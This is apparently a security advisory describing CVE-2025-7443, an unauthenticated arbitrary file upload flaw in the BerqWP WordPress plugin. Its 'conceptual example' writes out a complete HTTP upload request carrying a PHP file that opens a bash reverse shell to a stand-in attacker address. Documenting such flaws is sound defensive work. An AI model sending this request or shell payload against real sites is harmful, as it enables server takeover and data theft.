Overview
CVE-2025-7443 is a critical vulnerability found in the BerqWP – Automated All-In-One Page Speed Optimization for Core Web Vitals, Cache, CDN, Images, CSS, and JavaScript plugin for WordPress. This vulnerability allows unauthenticated attackers to upload arbitrary files to the victim’s server. The issue stems from the plugin’s lack of proper file type validation, meaning that any file, regardless of its format or content, can be uploaded through the store_javascript_cache.php file. The vulnerability affects all versions up to and including 2.2.42.
Given the vast popularity of WordPress and its extensive use in various businesses and individual websites, this vulnerability poses a serious threat. A successful exploit can lead to data leakage or even full system compromise, allowing attackers to execute arbitrary code remotely.

BerqWP WordPress Plugin | <= 2.2.42 How the Exploit Works
The vulnerability lies within the store_javascript_cache.php file of the BerqWP WordPress plugin. This file does not properly validate the type of files being uploaded, allowing for arbitrary file uploads. As a result, an attacker can exploit this to upload malicious payloads to the server, potentially leading to remote code execution.
Conceptual Example Code
A conceptual exploit might involve an HTTP POST request to the vulnerable file, as shown below:
POST /wp-content/plugins/berqwp/store_javascript_cache.php HTTP/1.1
Host: vulnerable-website.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="malicious.php"
Content-Type: application/php
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/attacker_ip/4444 0>&1'");
?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--In this conceptual example, the attacker sends a POST request with a malicious PHP file that, when executed, opens a reverse shell connecting back to the attacker. This example demonstrates the potential severity of this vulnerability; however, the actual exploit may vary based on the attacker’s capabilities and the specific configurations of the target system.
For security, it’s strongly recommended to apply the latest vendor patches or implement a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as temporary mitigation measures.
